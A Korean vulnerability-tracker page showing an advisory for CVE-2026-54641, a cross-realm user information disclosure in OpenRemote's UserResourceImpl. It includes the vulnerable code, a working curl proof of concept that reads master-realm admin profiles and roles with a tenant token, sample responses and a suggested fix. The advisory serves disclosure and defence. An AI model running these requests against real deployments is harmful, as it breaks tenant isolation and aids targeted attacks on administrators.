Kestrel
대시보드로 돌아가기
CVE-2026-54641HIGH· 7.7GHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 06.

OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.7high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.

Details

The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.

Three methods are missing an authenticated-realm guard:

get (line 102):

text
1public User get(RequestParams requestParams, String realm, String userId) {
2 boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
3 if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
4 throw new ForbiddenException("...");
5 }
6 try {
7 return identityService.getIdentityProvider().getUser(userId);
8 } ...
9}

The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.

getUserClientRoles (line 294):

text
1public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
2 boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
3 if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
4 throw new ForbiddenException("...");
5 }
6 try {
7 return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
8 } ...
9}

getUserRealmRoles (line 313):

text
1public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
2 boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
3 if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
4 throw new ForbiddenException("...");
5 }
6 try {
7 return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
8 } ...
9}

By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.

The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.

PoC

Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.

Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).

Step 2. Obtain an access token for the tenantb admin:

text
1TENANTB_TOKEN=$(curl -s -X POST \
2 "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
3 -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
4 | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Step 3. Read a master-realm user profile using the tenantb token:

bash
1curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
2 "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

text
1{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
2 "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
3 "firstName":"System","lastName":"Administrator",
4 "enabled":true,"createdOn":1780550421390,
5 "serviceAccount":false,"username":"admin"}
6HTTP 200

Step 4. Read master-admin realm roles:

bash
1curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
2 "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

text
1["admin"]
2HTTP 200

Step 5. Read master-admin client roles:

bash
1curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
2 "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

text
1["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
2 "write:alarms","write:attributes","write:services","write:user","write:assets",
3 "read:insights","read:map","read:users","read:assets","read:rules","write",
4 "write:admin","read","write:rules"]
5HTTP 200

All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.

A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.

Impact

Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.